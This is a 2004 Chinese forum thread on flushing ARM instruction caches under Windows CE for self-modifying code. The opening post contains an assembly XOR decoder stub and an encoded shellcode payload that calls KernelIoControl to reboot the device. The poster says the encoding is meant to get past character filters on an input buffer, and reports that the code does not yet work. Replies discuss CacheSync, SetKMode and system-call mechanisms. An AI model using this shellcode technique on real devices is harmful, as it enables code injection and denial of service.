阅读:1234回复:10
有人尝试过wince下self-modifying code吗?
新的ARM芯片都是Harvard结构,分指令缓存(ICache)和数据缓存(DCache),所以自修改后的指令在执行前必须刷新缓存才可以。基本上大部分RISC的CPU都是这样。
在WINCE420\PUBLIC\COMMON\OAK\CSP\ARM\COMMON\flushic.s里,Microsoft提供了用协处理器刷新指令缓存的方法: mcr p15, 0, r0, c7, c5, 0 ; flush the icache 我不知道是否mcr指令只能在核心态才能正确执行?在我的程序里它失败了。另外听一些朋友说过,如果能在用户态和核心态做一次切换,那么所有的指令也会被刷新,也就是说在修改指令后执行一个系统调用,在PowerPC和SPARC芯片上都有实际成功的经历,也有朋友介绍过他在Linux ARM下能够成功。但我不是很清楚Windows CE对swi指令怎么支持,硬在修改指令后加上一个swi 66的指令似乎没有切换用户态和核心态,所以没有成功。 我的代码如下,真正要执行的是real shellcode里的东西,它通过KernelIoControl这个API执行软重启。这个地址是硬编码的,朋友们在用的时候需要修改最后一个DCD的数据,找出你的KernelIoControl的地址并和0x88888888做异或处理。希望大家不吝赐教。 ; armasm decoder.asm ; link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE decoder.obj CODE32 EXPORT WinMainCRTStartup AREA .text, CODE, ARM decoder_start ; r11 - base pointer decoder_code_start PROC add r3, pc, #39 ; shellcode position - 1 sub r4, sp, #64 sub r4, r4, #1 ; the place of decoded shellcode mov r1, #44 ; shellcode size dec_loop ldrb r2, [r3, r1] ; read a encode charactor eor r2, r2, #0x88 ; xor decode strb r2, [r4, r1] ; store a decoded charactor subs r1, r1, #1 bne dec_loop ; loop add r4, r4, #1 mcr p15, 0, r4, c7, c7, 0 ; Flush ICache + DCache ;swi 66 ;movs pc, lr ;msr cpsr, r0 ;pld [r4] mov pc, r4 ; execute the decoded shellcode ; real shellcode DCD 0x6a0718a8 DCD 0x6d111888 DCD 0x6a07889c DCD 0x6d188888 DCD 0x6b289888 DCD 0x6b28a888 DCD 0x6b28b888 DCD 0x69286887 DCD 0x69287881 DCD 0x898988b4 DCD 0x897fb870 ; KernelIoControl address ^ 0x88888888 LTORG decoder_end WinMainCRTStartup PROC b decoder_code_start ENDP END |
|
论坛版主
|
沙发#
发布于:2004-12-22 17:40
我问一个问题哈,你想在什么态清空iCache?如果在非用户态,那直接操作协处理器就行,你说的切换“态“
来清不太对阿,如果是在用户态,不能切到非用户态,也就不能用mcr了,而如果本来在非用户态,可以直接用 嘛。也不需要切换态阿。 用swi,确实可以进入surpervisor模式那就可以用mcr清了,但如果你都可以改swi了,那肯定是在非用户模式 阿...如果需要,你确实可以做一个swi n专门清iCache 最后就剩你要在用户态清iCache了,这个有点儿麻烦,不过硬要我觉得也还是可以,如果你的需求刚才说的满足了我就不写了,不太写得清楚。 |
|
板凳#
发布于:2004-12-23 09:26
非常感谢你的答复。
我需要的就是在用户态清ICache。急切盼望你的答复。 Windows CE是不是也只有在非用户态才能用swi? |
|
论坛版主
|
地板#
发布于:2004-12-23 14:08
SWI不是只能在非用户态才能执行,而是执行时切换到超级用户模式,返回时将SPSR_svc恢复到CPSR从而回到原来的模式。
1.你可以更改os的代码吗?可以的话你可以写专门的swi。如果可以最好想办法用一种常规方式切换到超级模式来做 2.如果就要在用户态,我说一下,不知道说得清不: 如果非要在用户态清iCache,你需要了解processor里面的cache是怎么安排的,包括line数,没line字节数,和set数,这样,操作你的指令执行流程,在清除iCache前跳到一段空间执行,这段空间需要预留,并且容量至少等于iCache,然后你需要计算你需要清除的代码处于iCache的中的位置,以8个set为例,至少执行8条指令,且这8条指令要保证和你替换的空间装入同样的line内。这样,无论采用LRU还是ROUND ROBIN都可以保证iCache被替换掉。算指令放在什么地方需要用line数,每line字节数。 |
|
地下室#
发布于:2004-12-23 14:50
在Linux下swi指令实现系统调用,在用户态执行swi指令就能实现各种系统功能,并且进行到超级用户模式之间的切换,然后所有的缓存就被刷新了。有朋友在Linux下实现过用swi写自修改指令。
在Windows CE 4.2的代码树里好像就没有找到过swi指令,Windows CE是怎么支持swi指令的? 我不能更改os代码定制swi(其实我也不懂怎么写)。你解释的第二点我不是很明白,看起来很复杂。如果解码代码太复杂就不符合我的初衷了,因为它本身可能就包含要过滤的字符。 我的初衷是在用户态执行传递进来的缓冲区变量,对一些字符会过滤(比如\x0),所以把真正的代码先进行编码以消除会被过滤的字符,然后在它的开头加上一个简单的解码代码来解开并且执行真正的代码。 这在x86下实现非常简单,因为它的缓存是硬件刷新的,在PowerPC或SPARC上也能实现,因为它们提供了用户态的缓存刷新指令,或者执行系统调用也能刷新缓存。 在基于ARM芯片的Windows CE就遭遇到困难,困扰我一个多月了,烦恼啊。还望兄台多多指点。 |
|
论坛版主
|
5楼#
发布于:2004-12-23 16:37
我没理解错的话,你是对一段代码进行编码(本地),然后在另外一个地方(异地)先进行过滤,然后译码出来后执行,对吗?
如果是这样的话,先进行过滤译码的时候数据会被放入cache,但是是data cache啊,译码出来后放到一个地方执行没问题啊。除非你的译码数据放回原来译码程序的地方,非要这样吗? 不过有个好消息,CacheSync()可能是你想要的东西:))) 我说的那个东西应该可以工作,不过我没有证实过。 你说x86是硬件刷新的就可以满足你的要求,是什么意思? |
|
论坛版主
|
6楼#
发布于:2004-12-23 17:01
我看了一下你的那段代码,你把译码结果放到堆栈里面然后执行,不清除d cache确实可能有问题,如果你的堆栈数据原来救在cache中的话。那你就试试刚才那个函数吧
|
|
7楼#
发布于:2004-12-23 19:39
CacheSync()可以起到刷新ICACHE 和 DCACHE的作用.
另外,因为WINCE KERNEL是工作在ARM SUPERVISOR MODE,所以你的那段代码如果要执行,可以用SetKMode(TRUE)进入KERNEL MODE,然后执行那些mcr的代码,完了在用SetKMode(FALSE)退出KERNEL MODE. 但是要注意的是CacheSync()和SetKMode()都是属于Kernel function,在一些加了安全设置的WINCE IMAGE里, 调用这些API的APPLICATION必须是trusted,才能正确调用kernel function api. |
|
|
8楼#
发布于:2004-12-24 09:34
非常感谢wxl_50685330和joyfly的答疑,我的问题比较特殊,不能在解码代码里使用api,搜索api地址的活是那些编码代码最终干的。
我看了一下SetKMode和CacheSync最终都是奔内核代码去了: .text:01F756C0 EXPORT SetKMode .text:01F756C0 SetKMode .text:01F756C0 .text:01F756C0 var_4 = -4 .text:01F756C0 .text:01F756C0 04 E0 2D E5 STR LR, [SP,#var_4]! .text:01F756C4 08 10 9F E5 LDR R1, =0xF000FE50 .text:01F756C8 0F E0 A0 E1 MOV LR, PC .text:01F756CC 01 F0 A0 E1 MOV PC, R1 .text:01F756D0 00 80 BD E8 LDMFD SP!, {PC} .text:01F756D0 ; End of function SetKMode 可能我需要暂时放弃这个代码自修改的事情。不过最后两位朋友能否再给我讲解一下Windows CE下swi的机制? |
|
论坛版主
|
9楼#
发布于:2004-12-24 13:52
CE的系统调用没有使用SWI,而是专门写的调用代码KCall
|
|
论坛版主
|
10楼#
发布于:2004-12-24 13:57
对了,你改主意了?我前面讲的第二种方式应该是可以的,不试试?
|
|